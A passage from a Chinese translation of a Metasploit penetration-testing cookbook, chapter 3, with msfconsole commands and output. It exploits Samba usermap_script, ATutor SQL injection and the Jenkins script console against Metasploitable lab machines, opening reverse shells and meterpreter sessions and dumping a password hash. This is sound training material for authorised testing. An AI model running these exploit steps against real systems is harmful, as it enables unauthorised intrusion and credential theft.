Metasploit 渗透测试手册第三版 第三章 服务端漏洞利用 实例

第三章 服务端漏洞利用

在本章中，我们将学习以下内容

1、攻击Linux服务器

2、SQL注入攻击

3、shell类型

4、攻击Windows服务器

5、利用公用服务

6、MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏

7、MS17-010 EternalRomance/EternalSynergy/EternalChampion

8、植入后门

9、拒绝服务攻击

简介

在第二章的信息收集和扫描中，我们收集了目标的IP地址，端口，服务，操作系统等信息。信息收集过程中最大的收获是服务器或系统的操作系统信息。这些信息对后续的渗透目标机器非常有用，因为我们可以快速查找系统上运行的服务和漏洞信息。这个过程有点复杂，但是有了这些信息可以很大程度减轻我们后续的工作。

每一个操作系统都存在一些缺陷。一旦漏洞被报告出来，漏洞利用程序开发也开始了。获得许可的操作系统，比如Windows，可以很快为漏洞或BUG开发补丁程序，并推送给用户更新。漏洞披露是一个严重的问题，特别是 0day 漏洞会对计算机行业造成严重破坏。0day 收到高度追捧，在市场上的价格可达 15000美元到1000000美元。漏洞被发现并被利用，但漏洞的披露取决于研究人员及其意图。

像微软、苹果和谷歌这样的知名企业会定期为他们的产品发布补丁，因为他们要为众多的用户负责。但在公司场景中，情况会变得更糟，由于涉及停机时间和确保业务连续性不受影响，服务器需要数周才能修补。因此，建议您更新或密切关注正在使用的操作系统中发现的任何最新漏洞。未修补的系统是黑客的最爱，因为他们会立即发动攻击，危及目标。因此，必须定期修补和更新操作系统。在本章中，我们将重点讨论一些最流行的服务和操作系统中报告的漏洞。

在渗透测试的过程中，一旦目标操作系统的信息可用，渗透人员就开始寻找针对特定服务或操作系统漏洞的可利用程序。因此，本章将是我们深入了解目标服务器端漏洞的第一步。我们将重点介绍一些使用广泛的windows操作系统和Linux操作系统。我们还将研究如何使用利用这些漏洞，并设置它们的参数，使它们能够在目标机器上执行。最后，我们将讨论 Metasploit 框架中的攻击载荷(payloads)。

在对目标机器攻击利用之前，我们首先要知道一些关于攻击模块和攻击载荷的基础知识，比如如何设置参数等。

为了对目标进行漏洞利用攻击，首先需要扫描目标的端口和服务，一旦收集了足够多的信息，下一步就是选择相对应的漏洞利用程序对目标进行攻击。让我们来学习一些 msfconsole中的漏洞利用命令。

关于 msfconsole 和如何启动 msfconsole ，在我们之前的章节已经讲解过了。

在msfconsole 中，如果要查看帮助，可以直接输入 help 命令即可

1. msf5 > help
3. Core Commands
4. =============
6. Command Description
7. ——- ———–
8. ? Help menu
9. banner Display an awesome metasploit banner
10. cd Change the current working directory
11. color Toggle color
12. connect Communicate with a host
13. exit Exit the console
14. get Gets the value of a context-specific variable
15. getg Gets the value of a global variable
16. grep Grep the output of another command
17. help Help menu
18. history Show command history
19. load Load a framework plugin
20. quit Exit the console
21. repeat Repeat a list of commands
22. route Route traffic through a session
23. save Saves the active datastores
24. sessions Dump session listings and display information about session
25. set Sets a context-specific variable to a value
26. setg Sets a global variable to a value
27. sleep Do nothing for the specified number of seconds
28. spool Write console output into a file as well the screen
29. threads View and manipulate background threads
30. ….
31. set RHOSTS fe80::3990:0000/110, ::1-::f0f0
33. Target a block from a resolved domain name:
35. set RHOSTS www.example.test/24
36. msf5 >
37. 复制代码

从输出结果来看，有许多的命令，你可能会被吓到。但之前我们已经了解了一些命令，比如数据库命令。现在我们将重点关注在漏洞利用阶段最有用的命令，并在过程中了解其他命令。

最有用的命令：search命令

1. msf5 > search -h
2. Usage: search [ options ] <keywords>
4. OPTIONS:
5. -h Show this help information
6. -o <file> Send output to a file in csv format
7. -S <string> Search string for row filter
8. -u Use module if there is one result
10. Keywords:
11. aka : Modules with a matching AKA (also-known-as) name
12. author : Modules written by this author
13. arch : Modules affecting this architecture
14. bid : Modules with a matching Bugtraq ID
15. cve : Modules with a matching CVE ID
16. edb : Modules with a matching Exploit-DB ID
17. check : Modules that support the ‘check’ method
18. date : Modules with a matching disclosure date
19. description : Modules with a matching description
20. full_name : Modules with a matching full name
21. mod_time : Modules with a matching modification date
22. name : Modules with a matching descriptive name
23. path : Modules with a matching path
24. platform : Modules affecting this platform
25. port : Modules with a matching port
26. rank : Modules with a matching rank (Can be descriptive (ex: ‘good’) or numeric with comparison operators (ex: ‘gte400’))
27. ref : Modules with a matching ref
28. reference : Modules with a matching reference
29. target : Modules affecting this target
30. type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
32. Examples:
33. search cve:2009 type:exploit
35. msf5 >
36. 复制代码

通过 search我们可以查找非常多的东西，包括模块，漏洞等等。

1、攻击Linux服务器

Linux是使用最为广泛的操作系统之一，在前面的章节中，我们学习了如何扫描可用服务和利用漏洞扫描器扫描查找目标漏洞。在本节中，我们将使用Metasploitable2作为靶机，我们将利用Samba服务漏洞对Linux目标机进行攻击。

准备工作

首先，我们使用servives命令查找之前nmap的扫描结果，并过滤139和445端口。

1. msf5 > services -c port,info -p 139,445 192.168.177.145
2. Services
3. ========
5. host port info
6. —- —- —-
7. 192.168.177.145 139 Samba smbd 3.X – 4.X workgroup: WORKGROUP
8. 192.168.177.145 445 Samba smbd 3.X – 4.X workgroup: WORKGROUP
10. msf5 >
11. 复制代码

现在我们知道了目标Samba的版本信息，我们就可以去查找相对应的漏洞，然后使用search命令搜索可使用的攻击模块。

TIP：我们可以在通用漏洞披露（CVE）在线平台https://www.cvedetails.com中找到有关Samba 3.0.20漏洞的细节。

通过 search命令过滤 CVE、模块类型、关键字即可找到可利用的攻击模块。

1. msf5 > search cve:2007 type:exploit samba
3. Matching Modules
4. ================
6. # Name Disclosure Date Rank Check Description
7. – —- ————— —- —– ———–
8. 1 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
9. 2 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba “username map script” Command Execution
10. 3 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
11. 4 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
14. msf5 >
15. 复制代码

怎么做

1、选择攻击模块

1. msf5 > use exploit/multi/samba/usermap_script
2. msf5 exploit(multi/samba/usermap_script) >
3. 复制代码

2、运行info可查看模块信息

1. msf5 exploit(multi/samba/usermap_script) > info
3. Name: Samba “username map script” Command Execution
4. Module: exploit/multi/samba/usermap_script
5. Platform: Unix
6. Arch: cmd
7. Privileged: Yes
8. License: Metasploit Framework License (BSD)
9. Rank: Excellent
10. Disclosed: 2007-05-14
11. ……
12. Description:
13. This module exploits a command execution vulnerability in Samba
14. versions 3.0.20 through 3.0.25rc3 when using the non-default
15. “username map script” configuration option. By specifying a username
16. containing shell meta characters, attackers can execute arbitrary
17. commands. No authentication is needed to exploit this vulnerability
18. since this option is used to map usernames prior to authentication!
19. References:
20. https://cvedetails.com/cve/CVE-2007-2447/
21. OSVDB (34700)
22. http://www.securityfocus.com/bid/23972
23. http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
24. http://samba.org/samba/security/CVE-2007-2447.html
26. msf5 exploit(multi/samba/usermap_script) >
27. 复制代码

通过模块描述信息，可用看出，该模块利用Samba 3.0.20到3.0.25rc中的命令执行漏洞。我们来试试。

3、配置参数

通过show missing命令，查看必须要配置的参数

1. msf5 exploit(multi/samba/usermap_script) > show missing
3. Module options (exploit/multi/samba/usermap_script):
5. Name Current Setting Required Description
6. —- ————— ——– ———–
7. RHOSTS yes The target address range or CIDR identifier
9. msf5 exploit(multi/samba/usermap_script) >
10. 复制代码

TIP：要显示模块的高级选项，你可以使用show advanced 命令

这里只需要我们设置目标的IP地址即可，我们通过set [options] [value]来设置

1. msf5 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.177.145
2. RHOSTS => 192.168.177.145
3. msf5 exploit(multi/samba/usermap_script) >
4. 复制代码

4、攻击

执行exploit即可。

1. msf5 exploit(multi/samba/usermap_script) > exploit
3. [*] Started reverse TCP double handler on 192.168.177.143:4444
4. [*] Accepted the first client connection…
5. [*] Accepted the second client connection…
6. [*] Command: echo 48vnI4nfAB1GTD5d;
7. [*] Writing to socket A
8. [*] Writing to socket B
9. [*] Reading from sockets…
10. [*] Reading from socket B
11. [*] B: “48vnI4nfAB1GTD5d\r\n”
12. [*] Matching…
13. [*] A is input…
14. [*] Command shell session 1 opened (192.168.177.143:4444 -> 192.168.177.145:51353) at 2019-04-26 13:14:08 +0800
16. 复制代码

攻击成功后，我们将获得与目标机器的连接会话。我们可用执行一些命令，来验证是否获得了目标机器的权限。

1. hostname
2. metasploitable
3. ip a show
4. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
5. link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
6. inet 127.0.0.1/8 scope host lo
7. inet6 ::1/128 scope host
8. valid_lft forever preferred_lft forever
9. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
10. link/ether 00:0c:29:cc:9a:ea brd ff:ff:ff:ff:ff:ff
11. inet 192.168.177.145/24 brd 192.168.177.255 scope global eth0
12. inet6 fe80::20c:29ff:fecc:9aea/64 scope link
13. valid_lft forever preferred_lft forever
14. 3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
15. link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
16. id
17. uid=0(root) gid=0(root)
18. 复制代码

按Ctrl+Z可将会话转到后台

1. uid=0(root) gid=0(root)
2. ^Z //按 Ctrl+Z
3. Background session 1? [y/N] y
4. msf5 exploit(multi/samba/usermap_script) >
5. 复制代码

5、要操作会话，可用使用sessions命令

1. msf5 exploit(multi/samba/usermap_script) > sessions -h
2. Usage: sessions [options] or sessions [id]
4. Active session manipulation and interaction.
6. OPTIONS:
8. -C <opt> Run a Meterpreter Command on the session given with -i, or all
9. -K Terminate all sessions
10. -S <opt> Row search filter.
11. -c <opt> Run a command on the session given with -i, or all
12. -d List all inactive sessions
13. -h Help banner
14. -i <opt> Interact with the supplied session ID
15. -k <opt> Terminate sessions by session ID and/or range
16. -l List all active sessions
17. -n <opt> Name or rename a session by ID
18. -q Quiet mode
19. -s <opt> Run a script or module on the session given with -i, or all
20. -t <opt> Set a response timeout (default: 15)
21. -u <opt> Upgrade a shell to a meterpreter session on many platforms
22. -v List all active sessions in verbose mode
23. -x Show extended information in the session table
25. Many options allow specifying session ranges using commas and dashes.
26. For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
28. msf5 exploit(multi/samba/usermap_script) >
29. 复制代码

6、要重新回到刚才的会话，可使用sessions -i [session_id]命令，使用sessions -l可查看所有激活的会话列表。

1. msf5 exploit(multi/samba/usermap_script) > sessions -l
3. Active sessions
4. ===============
6. Id Name Type Information Connection
7. — —- —- ———– ———-
8. 1 shell cmd/unix 192.168.177.143:4444 -> 192.168.177.145:51353 (192.168.177.145)
10. msf5 exploit(multi/samba/usermap_script) > sessions -i 1
11. [*] Starting interaction with 1…
13. id
14. uid=0(root) gid=0(root)
15. ip a show
16. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
17. link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
18. inet 127.0.0.1/8 scope host lo
19. inet6 ::1/128 scope host
20. valid_lft forever preferred_lft forever
21. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
22. link/ether 00:0c:29:cc:9a:ea brd ff:ff:ff:ff:ff:ff
23. inet 192.168.177.145/24 brd 192.168.177.255 scope global eth0
24. inet6 fe80::20c:29ff:fecc:9aea/64 scope link
25. valid_lft forever preferred_lft forever
26. 3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
27. link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
29. 复制代码

要终止会话，可用按Ctrl+c。

1. link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
2. ^C //Ctrl+C
3. Abort session 1? [y/N] y //输入 y
4. “”
6. [*] 192.168.177.145 – Command shell session 1 closed. Reason: User exit
7. msf5 exploit(multi/samba/usermap_script) >
8. 复制代码

它是如何工作的

Samba是用于Linux和Windows之间的打印和文件共享的服务。Samba 3.0.0至3.0.25rc3的smbd中的MS-RPC功能允许远程攻击者通过SamrChangePassword功能的shell元字符执行任意命令，当启用smb.conf中“用户名映射脚本”选项时(不是默认启用的)，允许远程认证的用户通过远程打印机中的其他MS-RPC功能的外部元字符执行命令，以及文件共享管理。该漏洞攻击模块通过指定一个用户名包含shell元字符,攻击者可以执行任意命令。 因为此选项用于在身份验证之前映射用户名，所以不需要身份验证就可以利用此漏洞。

有效攻击载荷？

我们没有指定payload，所以Metasploit默认为我们指定了payload。我们可用show options查看

1. msf5 exploit(multi/samba/usermap_script) > show options
3. Module options (exploit/multi/samba/usermap_script):
5. Name Current Setting Required Description
6. —- ————— ——– ———–
7. RHOSTS 192.168.177.145 yes The target address range or CIDR identifier
8. RPORT 139 yes The target port (TCP)
11. Payload options (cmd/unix/reverse):
13. Name Current Setting Required Description
14. —- ————— ——– ———–
15. LHOST 192.168.177.143 yes The listen address (an interface may be specified)
16. LPORT 4444 yes The listen port
19. Exploit target:
21. Id Name
22. — —-
23. 0 Automatic
26. msf5 exploit(multi/samba/usermap_script) >
27. 复制代码

可以看到，使用的payload是一个unix反向shell。

我们可以通过show payloas列出当前攻击模块所有可用的攻击载荷。

1. msf5 exploit(multi/samba/usermap_script) > show payloads
3. Compatible Payloads
4. ===================
6. # Name Disclosure Date Rank Check Description
7. – —- ————— —- —– ———–
8. 1 cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
9. 2 cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
10. 3 cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
11. 4 cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
12. 5 cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
13. 6 cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
14. 7 cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
15. 8 cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
16. 9 cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
17. 10 cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
18. 11 cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
19. 12 cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
20. 13 cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
21. 14 cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
22. 15 cmd/unix/generic normal No Unix Command, Generic Command Execution
23. 16 cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
24. 17 cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
25. 18 cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
26. 19 cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27. 20 cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28. 21 cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29. 22 cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30. 23 cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31. 24 cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32. 25 cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33. 26 cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34. 27 cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35. 28 cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36. 29 cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37. 30 cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38. 31 cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39. 32 cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40. 33 cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41. 34 cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
42. 35 cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44. msf5 exploit(multi/samba/usermap_script) >
45. 复制代码

我们还可以通过sessions -u [sessions_id] 可以将shell会话升级成meterpreter会话，从而可以利用meterpreter的高级功能。关于meterpreter会在后续的章节中详细讲解。

1. msf5 exploit(multi/samba/usermap_script) > sessions -u 2
2. [*] Executing ‘post/multi/manage/shell_to_meterpreter’ on session(s): [2]
4. [*] Upgrading session ID: 2
5. [*] Starting exploit/multi/handler
6. [*] Started reverse TCP handler on 192.168.177.143:4433
7. [*] Sending stage (985320 bytes) to 192.168.177.145
8. [*] Meterpreter session 3 opened (192.168.177.143:4433 -> 192.168.177.145:35189) at 2019-04-26 13:46:35 +0800
9. [*] Command stager progress: 100.00% (773/773 bytes)
10. 复制代码

2、SQL 注入

Metasploit有几个SQL注入漏洞的利用模块，使我们能够测试和验证目标是否易受攻击。

准备工作

我们将安装一个易受攻击的开源LMS：Atutor 2.2.1进行测试，访问www.exploit-db.com/exploits/39… ，点击VULNERABLE APP旁边的下载按钮开源下载Atutor 2.2.1。

TIP：至于怎么安装 ATutor，可以查看官方文档。

怎么做

该模块利用了ATutor 2.2.1的SQL注入漏洞和身份验证漏洞，这意味着我们可以绕过身份验证，访问管理接口，上传恶意代码。

1、使用exploit/multi/http/atutor_sqli模块，查看模块选项

1. msf5 > use exploit/multi/http/atutor_sqli
2. msf5 exploit(multi/http/atutor_sqli) > show options
4. Module options (exploit/multi/http/atutor_sqli):
6. Name Current Setting Required Description
7. —- ————— ——– ———–
8. Proxies no A proxy chain of format type:host:port[,type:host:port][…]
9. RHOSTS yes The target address range or CIDR identifier
10. RPORT 80 yes The target port (TCP)
11. SSL false no Negotiate SSL/TLS for outgoing connections
12. TARGETURI /ATutor/ yes The path of Atutor
13. VHOST no HTTP server virtual host
16. Exploit target:
18. Id Name
19. — —-
20. 0 Automatic
23. msf5 exploit(multi/http/atutor_sqli) >
24. 复制代码

2、攻击之前，可以通过check命令检测目标是否易受攻击。然后进行攻击

1. msf5 exploit(multi/http/atutor_sqli) > check
2. [+] 192.168.177.139:80 – The target is vulnerable.
3. msf5 exploit(multi/http/atutor_sqli) >
4. msf5 exploit(multi/http/atutor_sqli) > exploit
6. [*] Started reverse TCP handler on 192.168.177.143:4444
7. [*] 192.168.177.139:80 – Dumping the username and password hash…
8. [*] Started reverse TCP handler on 192.168.177.143:4444
9. [*] 192.168.177.139:80 – Dumping the username and password hash…
10. [+] 192.168.177.139:80 – Got the root’s hash: 9c352326223a09bc610ff4919e611bed3fbb28f5 !
11. [*] Sending stage (38247 bytes) to 192.168.177.139
12. [*] Meterpreter session 13 opened (192.168.177.143:4444 -> 192.168.177.139:50088) at 2019-04-28 13:53:36 +0800
13. [!] This exploit may require manual cleanup of ‘ytux.php’ on the target
14. [!] This exploit may require manual cleanup of ‘/var/content/module/zyq/ytux.php’ on the target
16. meterpreter >
17. 复制代码

根据密码复杂度不同，所需时长也不同。攻击成功后，获取了shell

1. meterpreter > getuid
2. Server username: Administrator (0)
3. meterpreter > sysinfo
4. Computer : WIN-BGKRU85VR4H
5. OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
6. Meterpreter : php/windows
7. meterpreter >
8. 复制代码

3、shell类型

在进行下一节内容的学习之前，我们先来讨论一些可用shell的类型。shell大体上分为两种，一种是bind shell一种是reverse shjell。

bindshell 又叫正向连接shell。是指程序在目标机本地端口上监听，允许攻击者连接到监听端口。bind shell非常适合本地漏洞，比如当你已经通过钓鱼攻击成功危害了目标计算机，并希望利用本地服务提权的时候。但是它不适合远程攻击场景。因为通常来说目标位于防火墙后面。

所以大部分时候，我们更多的使用reverse shell，又称反向shell作为我们的有效攻击载荷。反向shell是在攻击者上监听端口，攻击程序在目标机上运行后主动连接到攻击者监听的端口。由于防火墙大多数时候只限制入站规则。因此反向shell更容易绕过防火墙。

Payloads

Metasploit中由三种不同类型的payload模块，分别是：singles、stagers和stages。

Singles：独立载荷，可直接植入目标系统并执行的程序，比如 shell_bind_tcp

Stagers：传输器载荷，负责建立网络连接，与stages载荷配合使用。这种载荷体积小且可靠

Stages：传输体载荷，在stagers建立好稳定的连接之后，提供的高级功能。如 shell，meterpreter， dllinject, patchupdllinject, upexec,vncinject等。metasploit中meterpreter其实就是一个payload。它需stagers和stages配合使用。

准备工作

在上一节中的SQL注入中，已经获得一个有效的漏洞利用。所以我们将使用它来测试不同类型的payload

怎么做

1、使用show payloads命令显示可用的载荷。

1. msf5 exploit(multi/http/atutor_sqli) > show payloads
3. Compatible Payloads
4. ===================
6. # Name Disclosure Date Rank Check Description
7. – —- ————— —- —– ———–
8. 1 generic/custom normal No Custom Payload
9. 2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
10. 3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
11. 4 php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
12. 5 php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
13. 6 php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
14. 7 php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
15. 8 php/download_exec normal No PHP Executable Download and Execute
16. 9 php/exec normal No PHP Execute Command
17. 10 php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
18. 11 php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
19. 12 php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
20. 13 php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
21. 14 php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
22. 15 php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
23. 16 php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
24. 17 php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
25. 18 php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
27. msf5 exploit(multi/http/atutor_sqli) >
28. 复制代码

2、查看载荷的详细信息，使用info <payload>指令

1. msf5 exploit(multi/http/atutor_sqli) > info payload/generic/shell_bind_tcp
3. Name: Generic Command Shell, Bind TCP Inline Module: payload/generic/shell_bind_tcp Platform: All Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, p
4. hp, java, ruby, dalvik, python, nodejs, firefox, zarch, r
5. Needs Admin: No
6. Total size: 0 Rank: Normal
7. Provided by:
8. skape <mmiller@hick.org>
9. Basic options:
10. Name Current Setting Required Description
11. —- ————— ——– ———–
12. LPORT 4444 yes The listen port
13. RHOST no The target address
14. Description:
15. Listen for a connection and spawn a command shell
16. msf5 exploit(multi/http/atutor_sqli) >
17. 复制代码

3、generic/shell_bind_tcp是一个独立载荷。要选择它作为有效载荷，我们使用set payload <payload_name>

1. msf5 exploit(multi/http/atutor_sqli) > set payload generic/shell_bind_tcp
2. payload => generic/shell_bind_tcp
3. msf5 exploit(multi/http/atutor_sqli) > exploit
5. [*] 192.168.177.139:80 – Dumping the username and password hash…
6. 复制代码

4、使用generic/shell_bind_tcp载荷可用得到一个通用的shell，但远远不够，PHP Meterprete是一个特性丰富且更高级的载荷，我们可以用它来利用此漏洞。

1. msf5 exploit(multi/http/atutor_sqli) > info payload/php/meterpreter/reverse_tcp
3. Name: PHP Meterpreter, PHP Reverse TCP Stager
4. Module: payload/php/meterpreter/reverse_tcp
5. Platform: PHP
6. Arch: php
7. Needs Admin: No
8. Total size: 1101
9. Rank: Normal
11. Provided by:
12. egypt <egypt@metasploit.com>
14. Basic options:
15. Name Current Setting Required Description
16. —- ————— ——– ———–
17. LHOST yes The listen address (an interface may be specified)
18. LPORT 4444 yes The listen port
20. Description:
21. Run a meterpreter server in PHP. Reverse PHP connect back stager
22. with checks for disabled functions
25. msf5 exploit(multi/http/atutor_sqli) >
26. 复制代码

1. msf5 exploit(multi/http/atutor_sqli) > set PAYLOAD php/meterpreter/reverse_tcp
2. PAYLOAD => php/meterpreter/reverse_tcp
3. msf5 exploit(multi/http/atutor_sqli) > set LHOST 192.168.177.143
4. LHOST => 192.168.177.143
5. [*] Started reverse TCP handler on 192.168.177.143:4444
6. [*] 192.168.177.139:80 – Dumping the username and password hash…
7. [+] 192.168.177.139:80 – Got the root’s hash: 9c352326223a09bc610ff4919e611bed3fbb28f5 !
8. [*] Sending stage (38247 bytes) to 192.168.177.139
9. [*] Meterpreter session 14 opened (192.168.177.143:4444 -> 192.168.177.139:51063) at 2019-04-28 16:42:49 +0800
10. [!] This exploit may require manual cleanup of ‘bgxx.php’ on the target
11. [!] This exploit may require manual cleanup of ‘/var/content/module/glt/bgxx.php’ on the target
13. meterpreter >
14. [+] 192.168.177.139:80 – Deleted bgxx.php
15. meterpreter > getuid
16. Server username: Administrator (0)
17. meterpreter > sysinfo
18. Computer : WIN-BGKRU85VR4H
19. OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
20. Meterpreter : php/windows
21. meterpreter >
23. 复制代码

4、攻击Windows 服务器

利用之前收集的信息，我们将对Windows服务器作为目标进行漏洞利用。本节我们将使用Metasploitable3作为靶机。

准备工作

通过收集的信息，查找漏洞，选择合适的漏洞里利用模块。

使用services查看目标Apache服务版本。

1. msf5 > services -p 8020 192.168.177.144
2. Services
3. ========
5. host port proto name state info
6. —- —- —– —- —– —-
7. 192.168.177.144 8020 tcp http open Apache httpd
9. msf5 >
10. 复制代码

访问目标站点

通过浏览目标站点，我们可以尝试使用弱口令进行登录，比如 admin

居然登录进去了。

怎么做

1、查看运行在 8484端口的 Jenkins-CI服务。

1. msf5 > services 192.168.177.144 -p 8484
2. Services
3. ========
5. host port proto name state info
6. —- —- —– —- —– —-
7. 192.168.177.144 8484 tcp http open Jetty winstone-2.8
8. 复制代码

这里，并没有显示 Jenkins，浏览器访问看看

确实是一个 Jenkins服务

我们使用search jenkins搜索可利用的模块

1. msf5 > search jenkins
2. Matching Modules
3. ================
5. # Name Disclosure Date Rank Check Description
6. – —- ————— —- —– ———–
7. 1 auxiliary/gather/jenkins_cred_recovery normal Yes Jenkins Domain Credential Recovery
8. 2 auxiliary/scanner/http/jenkins_command normal Yes Jenkins-CI Unauthenticated Script-Console Scanner
9. 3 auxiliary/scanner/http/jenkins_enum normal Yes Jenkins-CI Enumeration
10. 4 auxiliary/scanner/http/jenkins_login normal Yes Jenkins-CI Login Utility
11. 5 auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum normal No Jenkins Server Broadcast Enumeration
12. 6 exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
13. 7 exploit/linux/misc/jenkins_ldap_deserialize 2016-11-16 excellent Yes Jenkins CLI HTTP Java Deserialization Vulnerability
14. 8 exploit/linux/misc/opennms_java_serialize 2015-11-06 normal No OpenNMS Java Object Unserialization Remote Code Execution
15. 9 exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass and Metaprogramming RCE
16. 10 exploit/multi/http/jenkins_script_console 2013-01-18 good Yes Jenkins-CI Script-Console Java Execution
17. 11 exploit/multi/http/jenkins_xstream_deserialize 2016-02-24 excellent Yes Jenkins XStream Groovy classpath Deserialization Vulnerability
18. 12 exploit/windows/misc/ibm_websphere_java_deserialize 2015-11-06 excellent No IBM WebSphere RCE Java Deserialization Vulnerability
19. 13 post/multi/gather/jenkins_gather normal No Jenkins Credential Collector
20. msf5 >
21. 复制代码

使用Jenkins-CI Script-Console Java Execution模块

1. msf5 > use exploit/multi/http/jenkins_script_console
2. msf5 exploit(multi/http/jenkins_script_console) > set RHOSTS 192.168.177.144
3. RHOSTS => 192.168.177.144
4. msf5 exploit(multi/http/jenkins_script_console) > set RPORT 8484
5. RPORT => 8484
6. msf5 exploit(multi/http/jenkins_script_console) > set TARGETURI /
7. TARGETURI => /
8. msf5 exploit(multi/http/jenkins_script_console) > exploit
10. [*] Started reverse TCP handler on 192.168.177.143:4444
11. [*] Checking access to the script console
12. [*] No authentication required, skipping login…
13. [*] 192.168.177.144:8484 – Sending command stager…
14. [*] Command Stager progress – 2.06% done (2048/99626 bytes)
15. [*] Command Stager progress – 4.11% done (4096/99626 bytes)
16. [*] Command Stager progress – 6.17% done (6144/99626 bytes)
17. ….
18. [*] Command Stager progress – 98.67% done (98304/99626 bytes)
19. [*] Command Stager progress – 100.00% done (99626/99626 bytes)
20. [*] Sending stage (179779 bytes) to 192.168.177.144
21. [*] Meterpreter session 2 opened (192.168.177.143:4444 -> 192.168.177.144:49555) at 2019-04-26 17:32:58 +0800
23. meterpreter > sysinfo
